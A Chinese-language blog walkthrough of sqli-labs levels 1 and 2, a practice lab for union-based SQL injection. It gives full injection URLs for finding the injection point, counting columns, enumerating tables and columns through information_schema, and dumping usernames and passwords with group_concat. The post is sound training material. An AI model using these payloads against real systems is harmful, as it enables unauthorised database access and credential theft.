前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqli-labs less-1&less-2

sqli-labs less-1&less-2

作者头像
网安小透明
修改2021-04-25 10:35:17
6720
修改2021-04-25 10:35:17
举报
文章被收录于专栏:sqli-labssqli-labs

此篇为我个人练习,仅供大家参考,若有错误请及时指出!

Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。博客地址为: http://dummy2dummies.blogspot.hk/,博客当中有一些示例,国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频,在youtube上可以查看。ps:印度人讲英语口音太重了。。。。凑合着听懂点。 此处考虑到有些朋友不会翻墙,遂分享到国内地址。 http://pan.baidu.com/s/1bo2L1JT

联合注入思路:

union联合,合并:将多条查询语句的结合并成一个结果,union注入攻击位一种手工测试。

less-1

1.判断是否有注入点以及是什么类型的注入(整型or字符型):

网址:http://localhost/sqli-labs/Less-1/

(注:我推荐使用火狐浏览器,他有一个hackbar的插件方便后续的输入。hackbar可自行百度,安装很简单。)

​首先在URL中输入?id=1,可以得出正确显示:

然后输入?id=1 and 1=1 还有and1=2 发现都是输出正确,无法判断出什么类型的注入。

接着输入?id=1',可以看到出现错误。

在这里的错误是指页面发生变化,不管页面出现了什么变化,只要页面有变化,就算是触发了数据库报错。

而后我们输入?id=1' and 1=1以及?id=1' and 1=2均出现错误,此处我们可以得出less-1是一个字符型注入。

报错后,在其后添加注释符,如果回显恢复正常,那么就是注入点。注释符可以是#、--+以及%23。经过测试,--+能使页面恢复正常。

2.用order by语句查询该数据库的字段数:

代码语言:javascript
复制
http://localhost/sqli-labs/Less-1/?id=1%27order by 3 --+

此处语句输入要从order by 1开始。

order by 4出现错误,故字段数为3。

3.. 利用获得的列数使用联合查询,union select 与前面的字段数一样,找到数据呈现的位置:

代码语言:javascript
复制
http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,2,3 --+

可以判断出输出字段为2。

4.根据显示内容确定查询语句的位置,利用information_schema依次进行查询:

(1)查看数据库和用户:

代码语言:javascript
复制
http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,database(),3 --+

可以看到用户名为:security。

(2)报表名:

代码语言:javascript
复制
http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 --+

可以看到爆出来的表名为:emails;referers;uagents;users

而后更改语句中的limit0,1,依次为1,1、2,1、3,1;

(3)爆字段名:

代码语言:javascript
复制
http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='referers' limit 0,1),3 --+

可以看出爆出的字段名依次为:id;referfer;ip_address

语句更改与爆表名一样,不在赘述。

(4)爆数据:

代码语言:javascript
复制
http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,(select username from users limit 0,1),3 --+

可以看到爆出了八个用户名,就需要输入八个很麻烦,我们可以使用group_concat语句:

代码语言:javascript
复制
http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,(select group_concat(id,0x7e,username,0x7e,password) from users),3 --+

​如图,一次性输出十分方便。另外,为了便于阅读,我们可以在输出中加上0x7e或0x3e,其中前者为~或者为>。

less-2

less-2与less-1过程基本一致,不过变成了整形注入,具体过程不再过多赘述,放上截图供大家参考。

1.判断是否有注入点以及是什么类型的注入(整型or字符型):

网址:http://localhost/sqli-labs/Less-2/

首先输入?id=1,没有错误;

然后是?id=1',错误;

接着?id=1 and 1=1没有错误;

然后是?id=1 and 1=2报错,

所以这是整形注入。

​2.用order by语句查询该数据库的字段数:

如图,得出字段数为3(注意:整型注入时,输入的时候要加#)。

​3.. 利用获得的列数使用联合查询,union select 与前面的字段数一样,找到数据呈现的位置:

可以看到,输出字段为2。

​4.根据显示内容确定查询语句的位置,利用information_schema依次进行查询:

(1)查看数据库和用户:

可以看到数据库名为:security。

​(2)报表名:

​(3)爆字段名:

​(4)爆数据:

​以上就是sqli-labs less-1&less-2的过程,之所以,将1和2放在一起就是因为这两关只是注入类型不同,操作以及语句的使用基本完全一致。

若有错误还请各位及时指出。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 此篇为我个人练习,仅供大家参考,若有错误请及时指出!
  • 联合注入思路:
  • less-1
  • less-2
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档